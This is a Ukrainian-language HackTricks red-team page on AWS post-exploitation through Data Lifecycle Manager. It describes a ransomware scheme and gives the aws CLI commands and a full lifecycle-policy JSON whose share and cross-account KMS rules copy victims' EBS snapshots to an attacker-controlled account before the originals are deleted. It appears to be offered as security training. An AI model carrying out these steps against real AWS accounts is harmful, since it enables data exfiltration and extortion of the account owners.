AWS - DLM Post Exploitation

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім шифрувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок.

По-перше, потрібно буде використати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому.

aws ec2 describe-volumes

По-друге, потрібно буде створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує певні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви.

bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Шаблон для документу політики можна побачити тут:

bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks